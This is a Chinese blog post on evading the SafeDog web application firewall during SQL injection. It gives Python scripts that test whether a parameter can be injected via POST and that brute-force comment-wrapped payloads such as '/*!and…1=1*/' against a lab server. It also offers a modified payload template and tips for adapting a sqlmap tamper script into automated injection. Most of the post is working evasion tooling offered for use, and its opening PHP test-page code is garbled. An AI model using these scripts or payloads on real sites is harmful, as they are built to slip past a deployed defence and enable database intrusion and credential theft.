关于绕过安全狗注入的一些思考

关于绕过安全狗的一些思考

作者:Yusy

:https://www.jianshu.com/u/de9edf7ff21b

0x0环境搭建

测试页面的代码如下:

";

echo "用户名".$row['username']."
"; echo "密码".$row['password']."
"; } mysql_close($conn); echo "
"; echo "当前语句:"; echo $sql ?>

数据库需要进行的操作是:

1、 建立fendo数据库

2、 创建user表

3、 导入数据

0x1 整体思路

通过阅读一些绕过安全狗的文章,我们可以得到一些思路,但是据我个人测试,这些文章当中有一些曾经很管用的方法已经失效了,例如大小写绕过,UnunionION这种的,所以我们这里只对两点思路做探讨,一是变换提交方式,我觉得这是首先需要测试的,因为安全狗对于post方式提交的注入语句,基本是0防护,二就是最常见的思路,/!/包围注入语句,或者是/xxxx/替换20%,只要语句够变态,那么你想怎么虐安全狗,都可以,现在我们主要针对这两种方式编写自动化的脚本。

这里需要补充说明的一点是,安全狗对于请求速度也是有要求的,所以建议对速度也进行一些处理。

0x2 自动检测参数是否可以通过post方式提交

其实这东西自动化都觉得烦,但是我觉得完全可以把几个脚本整合到一块,这样子就不会觉得多余了。

这篇文章写脚本都是用python,版本是python3。

要实现的功能呢,就是用户输入一个注入点,我们把注入点的参数部分获取下来,然后放到post里去提交,如果返回的页面当中有正常页面的关键字,就表示可以接受Post方式提交的数据,否则则不行。我是晚上匆匆写的脚本,所以功能上还存在一些弊端,就是不可以对多个参数进行检测,需要再加一次分割操作,当然这篇文章只是抛砖引玉,所以大家可以开动脑筋,自己去完善。

我这里直接贴出代码:

\#!/usr/bin/env python
\# -*- coding:utf-8 -*
\# 看目标是否可以通过post方式进行注入 import requests

url = input("请输入注入点:")
url_list = url = url.split("?")
Request_URL = url_list[0]
Form_Data1 = url_list[1]
form_list = Form_Data1.split("=")
para_name = form_list[0]
para_key = form_list[1]
Form_Data = {para_name:para_key}
print(Request_URL,Form_Data)

r = requests.post(Request_URL,Form_Data)
html = r.text
print(html)

if 'fendo8888' in html:
 print("可以用post方式注入!")
else:
 print("不可以用post方式注入!")

发送请求的模块呢,就是requests模块,然后我们对输入的注入点以?进行分割,得到一个列表,然后对参数名=参数值又进行了一次分割,原因是request发送请求时,用到的参数Form_Data必须是一个字典,所以我们要将参数名,参数值分别传入其中,当然了,我觉得这个处理过程还是很繁琐的,希望有朋友能给出更加优化的代码。

0x3 以量取胜,获取payload

其实这个思路呢,早前漏洞银行有过公开课,就有前辈提出了这个思路,当时他的脚本我还有留存,但是现在似乎不太好用了,现在贴出他的代码:

\# -*- coding:utf-8 -*- 

\# python3

import requests

import sys

fuzz_zs = ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']

fuzz_sz = ['']

fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]

fuzz = fuzz_zs+fuzz_sz+fuzz_ch

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}

url_start = "http://192.168.126.130:84/1.php?x=1"

len = len(fuzz)**5

num = 0

for a in fuzz:

 for b in fuzz:

 for c in fuzz:

 for d in fuzz:

 for e in fuzz:

 num += 1

 exp = "/*!and"+a+b+c+d+e+"1=1*/"

 url = url_start + exp

 sys.stdout.write('' * 30 + '\r')

 sys.stdout.flush()

 print("Now URL:"+url)

 sys.stdout.write("now:%s/%s \r*" % (num,len))

 sys.stdout.flush()

 res = requests.get(url = url , headers = headers)

 if "title1" in res.text:

 with open("Results.txt",'a',encoding='utf-8') as r:

 r.write(url+"\n")

这一段代码思路还是很明确的,就是将 ['/','/','/!','','=','`','!','@','%','.','-','+','|','%00'] ['']

["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]这三个列表中乱七八糟的东西放到语句里去,如果正常页面中的title1关键字出现,那么说明注入语句是成功执行了。

嗯,今天又是造轮子的一天,既然前辈的思路不可取了,那么我们想想应该如何完善,弊端又在哪?首先,由exp可以知道:

1、 只对union select进行了一次包围

2、 用来骗狗的字符还是不够多

那么我们该如何完善呢?

首先,我们需要对每一个敏感的字符都进行包围,那么多写一次就可以了

第二点,其实这一点太好解决了,ascii码表上有很多东西可以拿来利用,有那么多种编码方式可以拿来利用,大佬是遍历,那我们递归呢?随机呢?还有哪些呢?别忘了我们熟悉的And,OR,50001,Union,这些是敏感字符,但是放到注释里确是没关系的,有时会起到令人兴奋的效果。

那这里,我就不把我写的脚本贴出来了,只贴出修改后的exp:exp = "/!and" + "/" + a + b + c + d + e + "/" + "/" + "/!1=1" + "/" + a + b + c + d + e + "/" + "/"

其实也就是在大佬的基础上做了些完善和修改。怎么说呢,授人以鱼不如授人以渔,不可能永远靠着别人的东西过日子,修改的思路就在这里,还是给大家留下更多的发挥空间吧。

我跑了一分钟,1200条结果,还是很可观的。

这里贴出最后几条和对union select的测试结果


1.png

拦截:

2.png

过去啦:

3.png

0x4 修改sqlmap的tamper插件,自动注入

Emmm,经常会看到有人说,我没有代码功底,我不会写插件,其实没关系的,sqlmap本身就给我们提供了大量的插件,你要做的就是略加修改。

那首先你需要了解的是sqlmap中的插件,都是干什么用的,这里网上可以搜索的到,我就不多说了,我用的是versionedkeywords.py这个插件,把注入语句敏感词的前面和后面分别换上我们的payload就可以了,具体就没什么好继续说的了。

0x5 总结

以上就是我的一些思路了,总结来说就是,也许我们没有那么大本事去创造出很新奇的思路,但是我们完全可以在前辈的基础上有所创新,抛砖引玉,期待大家能带来新的思路。

你可能感兴趣的:(关于绕过安全狗注入的一些思考)